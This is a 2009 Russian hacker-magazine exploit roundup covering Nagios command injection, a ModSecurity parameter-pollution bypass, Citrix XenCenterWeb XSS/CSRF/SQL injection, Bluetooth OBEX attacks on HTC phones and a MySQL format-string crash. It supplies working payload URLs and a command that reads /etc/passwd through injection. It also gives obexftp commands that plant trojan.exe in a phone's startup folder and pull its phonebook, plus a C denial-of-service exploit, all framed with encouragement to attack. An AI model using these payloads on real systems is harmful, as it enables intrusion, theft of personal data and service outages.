Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 129, СЕНТЯБРЬ 2009 г.

Обзор эксплойтов

Андрей Комаров

Сколько всего произошло! Слухи о закрытии milw0rm.com и появление кучи зеркал - вне обсуждения. Лето выдалось жарким не только по температуре, но и по движениям в мире эксплойтов и уязвимостей ПО: браузерные бреши в Mozilla Firefox 3.5 и ActiveX компоненте Video Microsoft Internet Explorer 7, критические уязвимости в ряде OpenSource-продуктов, а китайцы готовят супер-защищенную ОС kylin! Времени отдыхать просто нету. Надо атаковать!

Неавторизированное исполнение произвольных команд в Nagios

BRIEF

Nagios - система мониторинга с открытым исходным кодом, использующаяся даже в корпоративном секторе. В сетевой инфраструктуре она занимает место «нюхача», который следит за службами, корректностью их функционирования, всевозможными компонентами сети. В случае чего, Nagios генерирует оповещение, чтобы администратор своевременно устранил проблему. Для удобства администрирования Nagios может управляться посредством мобильного телефона через технологию WML. Условно говоря, администратор, отдыхая на даче, заходит через сотовый на сайт, выбирает там линки и смотрит статус системы, живучесть отдельных хостов, присланные оповещения и еще много всего.

EXPLOIT

Уязвимость содержится в модуле проверки статуса, причем сразу в двух местах (утилитах PING/TRACEROUTE), хотя суть самой бреши типична и сводится к небезопасному использованию системных вызовов «popen». К этой серии, вообще, можно причислить целый класс небезопасного программирования, связанного с выполнением команд. Они попадаются в самых удивительных местах. К примеру, пару месяцев назад одним хакером был взломан известный закрытый форум Mazafaka, где модуль traceroute форума VBulletin уязвим описываемой ниже уязвимостью.

Утилиты находятся в следующих местах:

tools -> ping
tools-> Traceroute WAP/WML pages

Использовать их можно так:

https://somehost.com/nagios/cgi-bin/statuswml.cgi?ping=173.45.235.65%3Becho+%24PATH
(%B - ";" в ASCII, %24 - "$")

После исполнения я получил результаты, что удаленный хост жив, и его сетевые параметры, а также полный вывод переменной окружения (FreeBSD / $PATH):

/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/root/bin

Код уязвимой процедуры display_ping из модуля statuswml.c:

/* run the ping command */
fp=popen(buffer,"r");
if(fp){
while(1){
fgets(buffer,sizeof(buffer)-1,fp);
if(feof(fp))
break;
strip(buffer);
if(odd){
odd=0;
printf("%s<br/>n",buffer);
}
else{
odd=1;
printf("<b>%s</b><br/>n",buffer);
}
}
}
else
printf("Error executing ping!n");
pclose(fp);
...

Как нетрудно заметить, popen исполняет любое содержимое, которое попадает в переменную buffer. Buffer контролируется в коде только при объявлении на ограничение вводимых данных (char buffer[MAX_INPUT_BUFFER];), но его содержание абсолютно произвольно. Логика составления буфера такова: сначала он освобождается, далее пустой буфер слипается с тем, что мы ввели для пинга в качестве адреса, и скармливается на исполнение. В том числе, знаки пробела, ведь это же нигде не оговорено:

if(!strcmp(temp_ptr,"HOSTADDRESS"))
strncat(buffer,ping_address,sizeof(buffer)-strlen(buffer)-1);

Конечно, никто не мешает нам в качестве адреса задать 127.0.0.1;mail < /etc/passwd или какую-либо критически важную директорию.

TARGETS

Nagios на базе 3.x ветки + 2.0rc2 (версии, где возможна установка дополнительных модулей, а именно – включенного WAP-интерфейса).

SOLUTION

Создатель быстро отреагировал на уязвимость и написал решение. Вдобавок много любителей еще раньше выпустили собственные патчи (tracker.nagios.org/view.php?id=15), убирающие пробелы и добавляющие проверку на правильность указанного домена или IP.

Mod_Security HTTP Parameter Pollution

BRIEF

Знаменитый WebApp-firewall терпит бедствие. Как известно, это модуль Apache со специально подключенными наборами правил (Core Rules), защищающими от типичных атак на WEB-приложения. Из-за специфики обработки cookie в GET/POST-запросах со стороны ASP.NET существует возможность обойти ограничения Mod_Security. Когда многочисленные параметры «куков» одного и того же имени встречаются в HTTP-запросе, то ASP/ASP.NET-приложения расценивают их как «коллекцию объектов». Проще говоря, считают элементами массива.

EXPLOIT

К примеру, мы производим SQL-injection:

http://example.com/search.aspx?value=select 1,2,3 from table

Все нормально, при этом от нас улетел запрос вида:

POST /index.aspx?a=1&a=2
Host: www.example.com
Cookie: a=5; a=6
Content-Length: 7
a=3&a=4

На серверной стороне этот запрос интерпретируется следующим образом:

ModSecurity:
value = select 1,2,3 from table
Web Application Interpretation:
value = select 1,2,3 from table

Делаем теперь так:

http://example.com/search.aspx?value=select 1&value=2,3 from table

ModSecurity:
value = select 1
value = 2,3 from table
Web Application:
value select 1,2,3 from table

Интересно, правда? Эксперименты могут продолжаться до бесконечности:

http://example.com/search.aspx?value=select/*&value=*/1,2,3/*&value=*/from/*&value=*/table
ModSecurity:
value=select/*
value=*/1,2,3/*
value=*/from/*
value=*/table
Web Application:
value = select/*,*/1,2,3/*,*/from/*,*/table

Очень часто такой прием может быть использован при обходе Mod_Security. Термин HTTP Polution был введен Luca Carettoni и Stefano di Paola и представлен на недавно прошедшей конференции OWASP AppSec EU09 Poland. В работе «Split and Join» (lavakumar.com/Split_and_Join.pdf) Lavakumar Kuppan осветил возможность эксплуатации уязвимости на примере WAF. Ранее уязвимость уже использовалась в работах других security-ресечеров, например, для написания эксплойта под DFLabs PTK (http://seclists.org/bugtraq/2008/Nov/0038.html).

HTTP Parameter Polution - один из явных способов обхода WAF (Web Application Firewall). Параметрами любого HTTP-запроса являются пары (словарь - ключ + значение), разделенные символом «=». Границы параметров, в свою очередь, определяются с помощью символов «&» и «;», но беда в том, что тот же стандарт не запрещает многократное использование одинаковых имен в HTTP-запросах. В связи с особенностями восприятия на стороне ПО описанных выше запросов возможно нарушение логики работы WEB-приложений и появление способов эксплуатации многих уязвимостей.

TARGETS

ModSecurity <= 2.5.9 с набором правил ModSecurity Core Rules v 2.5-1.6.1

SOLUTION

На данный момент устранение уязвимости отсутствует.

Многочисленные уязвимости в Citrix XenCenterWeb

BRIEF

Графический фронтенд к Citrix XenServer позволяет визуально управлять твоими виртуальными машинами в пуле ресурсов, предпринимать различные действия вроде останова или перезапуска, всячески рулить пользовательскими отношениями и еще много чем.

EXPLOIT

Как такового, одного эксплойта здесь не нарисуешь - найден целый ряд брешей в безопасности:

1) XSS - межсайтовый скриптинг.

https://xencenterweb.loc/config/edituser.php?username=1<script>alert(document.cookie)</script>

Грамотно составленное письмо от доверенного лица helpdesk'a запросто может сыграть свою роль с этой багой. В качестве снифера для ловли кукисов можно использовать существующий софт Kanick Sniffer или онлайн-сервис (Antichat.ru).

2) CSRF - Cross-Site Request Forgery.

CSRF расшифровывается как Cross-Site Request Forgery («Межсайтовая подделка запроса»). Этот тип атак направлен на имитирование запроса пользователя к стороннему сайту. Уязвимость достаточно широко распространена из-за особенностей архитектуры большинства веб-приложений. А именно – из-за того, что многие веб-приложения нечетко определяют, действительно ли запрос сформирован настоящим пользователем. Такие ситуации часто встречаются там, где есть единственное средство распознавания клиента - cookies или сессия (ну, иногда еще referer). Соответственно, если с помощью определенного кода заставить браузер отправить нужный нам запрос на сторонний сайт, то запрос может вполне нормально пройти даже к тем скриптам, в которых нужна авторизация - ведь браузер при запросах к сайту отправляет ему и cookies. Главное, чтобы пользователь заранее был авторизирован. Порой, проявив смекалку, с такой уязвимостью можно творить чудеса (на Новый Год два французских хакера рулили включением и отключением огней на центральной новогодней елке).

Неавторизированная смена пароля:

https://xencenterweb.loc/config/changepw.php?username=[victim_username]&newpass=[attacker's_chosen_pwd]

Выключение конкретной виртуальной машины:

https://xencenterweb.loc/hardstopvm.php?stop_vmref=[VMref]&stop_vmname=[VMname]

Blind SQL Injection - проведение слепой инъекции, используя временные параметры:

https://xencenterweb.loc/login.php?username=user' UNION SELECT if(user() LIKE
'root@%', benchmark(1000000,sha1('test')), 'false')/*

TARGETS

Citrix XenCenterWeb

SOLUTIONS

Сitrix никак не отреагировала на столь существенные уязвимости.

Атака на Windows Mobile Object Exchange (OBEX) / смартфоны HTC

BRIEF

Старо, как мир! Bluetooth-сервис известной марки смартфонов и коммуникаторов уязвим, причем самой баге уже около 10 лет. В свое время через OBEX распространялись первые мобильные червяки. OBEX FTP Bluetooth service используется для «обмена» файлами через беспроводной канал. «Обмен» следует воспринимать не только как отдачу конкретного локального файла стороннему клиенту, но и как возможности удаленному клиенту изучать содержимое «шары» твоего мобильника. Опасность заключается в том, что при каких-либо условиях злоумышленнику удастся обойти ограничения, подняться «выше» по каталогам и попасть, скажем, в раздел автозагрузки, куда и поместить вредоносный код. Другая беда – злоумышленник может просто-напросто похитить ценные для тебя данные телефонной книги, сообщений, личные записи планировщика и многое другое.

EXPLOIT

Производить такого рода атаки можно с использованием ноутбука. Для этого на нем обязательно должна присутствовать поддержка стека Bluetooth (одна из реализаций, к примеру, для библиотеки, о которой пойдет речь дальше, – это Microsoft Bluetooth Stack / Widcomm Bluetooth Stack), и возможность установки дополнительных библиотек, выступающих в качестве интерфейса. Самая распространенная для этих задач либа - BlueZ (bluez.org/download) с кучей вариаций на почти всех современных языках программирования высокого уровня (pyBlueZ - есть Windows-модуль, perl для этого имеет модуль Net:Bluetooth, который одновременно хорошо работает как с библиотеками Bluez, так).

Для установки BlueZ на Windows, потребуется Microsoft Service Pack 2/3 и Microsoft Platform SDK. Конечно, ты можешь использовать абсолютно сторонние вещи, вроде Ethermind Bluetooth Stack, Toshiba Stack, BlueSoleil. Они, кстати, поддерживают DUN, FAX, HFP, HSP, LAP, OBEX, OPP, PAN SPP, AV, BIP, FTP, GAP, HID, SDAP, но для них тебе придется ковыряться в их же SDK, которые поставляются когда бесплатно, а когда и по запросу от производителя. Причем при «заказе» потребуется доказать, что ты являешься независимым разработчиком и намека на заработок в твоих исследованиях совсем не видно.

Но это все лирика. Изначально так повелось, что BlueZ - реализация стека Bluetooth для Linux, ее официально включили в пакет Linux Kernel. В настоящее время она поддерживает абсолютно все протоколы Bluetooth. Вдобавок, в пакетах к системе можно встретить bluez-utils/bluez-firmware – содержат пару утилит, которые помогут тебе почувствовать с ней себя более свободно. Для начала установи саму Bluez, а затем ObexFTP (triq.net/obexftp):

root@skvz:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l
Организация листинга файлов с удаленного телефона из его "шары"
MAC-адрес устройства можно обнаружить с помощью hcitool -scan

Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "(null)"... <?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
<parent-folder name="" />
<file name="fotaca.jpg" created="20090119T173932Z" size="134680"/>
<file name="nota.pwi" created="20090119T175242Z" size="432"/>
</folder-listing>
done
Disconnecting...done

root@skvz:~/bluez$ obexftp -b 00:17:83:02:BA:3C -c "..\..\Windows\Startup\" -p trojan.exe
Закидываем файл с вредоносным содержимым в автозапуск
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Sending "....WindowsInicio"... done
Sending "trojan.exe"...done
Disconnecting...done
root@skvz:~/bluez$

Trojan.exe выполнится при последующем рестарте девайса. Как видишь, таким способом можно осуществить «bluesnarfing» на слабозащищенный профиль OBEX (Object Exchange Push Profile). Соответственно, ты понимаешь, HTC не единственный, который так можно атаковать. Это распространенная проблема многих телефонов. Пример из жизни:

Открываем ноутбук, ставим obexftp, в качестве ОС - Linux
root@skvz: emerge -s obexftp
Searching...
[ Results for search key : obexftp ]
[ Applications found : 1 ]

* net-wireless/obexftp
Latest version available: 0.10.6
Latest version installed: 0.10.6
Size of downloaded files: 368 kB
Homepage: http://triq.net/obex
Description: File transfer over OBEX for mobile phones
License: GPL-2

root@skvz: emerge net-wireless/obexftp
Производим сканирование устройств
root@skvz: hcitool scan
Scanning ...
00:0A:D9:5A:9C:22 Packetwerks Phone

Запрашиваем с телефона данные Vcard из PhoneBook
root@skvz: obexftp -b 00:0A:D9:5A:9C:22 -B 10 -g telecom/pb.vcf
Browsing 00:0A:D9:5A:9C:22 ...
Channel: 7
No custom transport
Connecting...bt: 1
done
Receiving telecom/pb.vcf.../done
Disconnecting...done
# читаем данные
root@skvz: more pb.vcf
BEGIN:VCARD
VERSION:2.1
N:Smith;Aaron
EMAIL;INTERNET;PREF:user@host.com
TEL;CELL:2135551212
END:VCARD
BEGIN:VCARD
VERSION:2.1
N:;Abby
[...]

VCard содержит сведения о контактах в виде визитной карточки (именно эти файлы ты кидаешь другу, когда хочешь передать ему контакт из своей адресной книжки мобильника).

TARGETS

Продукты HTC на базе Windows Mobile 6 / 6.1, пятая ветка - не уязвима.

SOLUTION

Решение - отключать Bluetooth и включать его только тогда, когда это необходимо. Этим ты избавишь себя от незаметного хищения данных с телефона.

Уязвимость форматной строки в MySQL

BRIEF

Бага обнаружена в ibmysqld/sql_parse.cc. Замечу, что именно этот фрагмент кода фигурирует во всех версиях MySQL до 6. Обращения к функции mysql_log.write() без спецификаторов или в других подобных ситуациях (когда спефицикаторов больше, чем формируемых переменных, например) приводят к отказу в обслуживании.

EXPLOIT

Ниже привожу фрагмент убийственного эксплойта.

#include <stdlib.h>
#include <stdio.h>

#define USE_OLD_FUNCTIONS
#include <mysql/mysql.h>
#define NullS (char *) 0

Int main (int argc, char **argv)
{
MYSQL *mysql = NULL;
mysql = mysql_init (mysql);
if (!mysql)
{
puts ("Init faild, out of memory?");
return EXIT_FAILURE;
}
if (!mysql_real_connect (mysql, /* MYSQL structure to use */
"localhost", /* server hostname or IP address */
"monty", /* mysql user */
"montypython", /* password */
NULL, /* default database to use, NULL
for none */
0, /* port number, 0 for default */
NULL, /* socket file or named pipe name */
CLIENT_FOUND_ROWS /* connection flags */ ))
{
puts ("Connect failedn");
}
else
{
puts ("Connect OKn");
// mysql_create_db(mysql, "%s%s%s%s%s");
simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);

}
mysql_close (mysql);
return EXIT_SUCCESS;
}

Эксплойт запускаем так (только в экспериментальных целях):

$gcc mysql_format.c -o mysql_format -lmysqlclient
$./mysql_format %s%s%s%s%s

TARGETS

MySQL <= 5.0.45

SOLUTION

В данный момент решения, предложенного производителем, не наблюдается. Уязвимость имеет место исключительно на пост-авторизационном уровне, поэтому главное, от чего потребуется обезопаситься – это от неправомерного доступа в твою базу данных.

Содержание
ttfb: 6.2940120697021 ms